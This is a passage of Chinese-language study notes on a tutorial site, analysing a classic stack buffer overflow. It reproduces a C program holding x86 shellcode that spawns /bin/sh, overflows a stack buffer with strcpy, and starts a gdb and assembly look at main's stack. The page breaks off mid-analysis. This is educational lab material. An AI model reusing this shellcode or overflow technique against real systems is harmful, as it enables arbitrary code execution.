盘绰网教程:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

缓冲区溢出学习笔记

时间:2023/9/7作者:未知来源:盘绰网教程人气:


[摘要]以前很少用gdb分析代码, 这回找个最简朴的shellcode练练, 顺便关税, 见笑 1.前辈代码 (<<缓冲区溢出机理分析>>) /*foo1.c ...

以前很少用gdb分析代码, 这回找个最简朴的shellcode练练, 顺便关税, 见笑

 

1.前辈代码 (<<缓冲区溢出机理分析>>)

/*foo1.c

 *

 */

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

char large_string[128];

 

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

 

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

 

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

 

strcpy(buffer,large_string);

}

 

2 初始

 

缓冲区溢出的原理略, 这里我先gcc -S she.c 看了一下main的开头汇编

--------------------------------

main:

   pushl %ebp           /*在这里开始main */

   movl %esp,%ebp

   subl $104,%esp       /*buffer+i+long_ptr的总长度是104,

                        在这里esp一下从ebp移到了栈尾, 实在

                        就是long_ptr所在处*/

   pushl %esi

   pushl %ebx

   movl $large_string,-104(%ebp) /*用gdb来break main时断点设到了这一行*/

用gdb分析得到现在的堆栈情况是

------------------------------------------------------------------

          esp

var:      

关键词:  缓冲区溢出学习笔记





Copyright © 2012-2018 盘绰网教程(http://www.panchuo.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版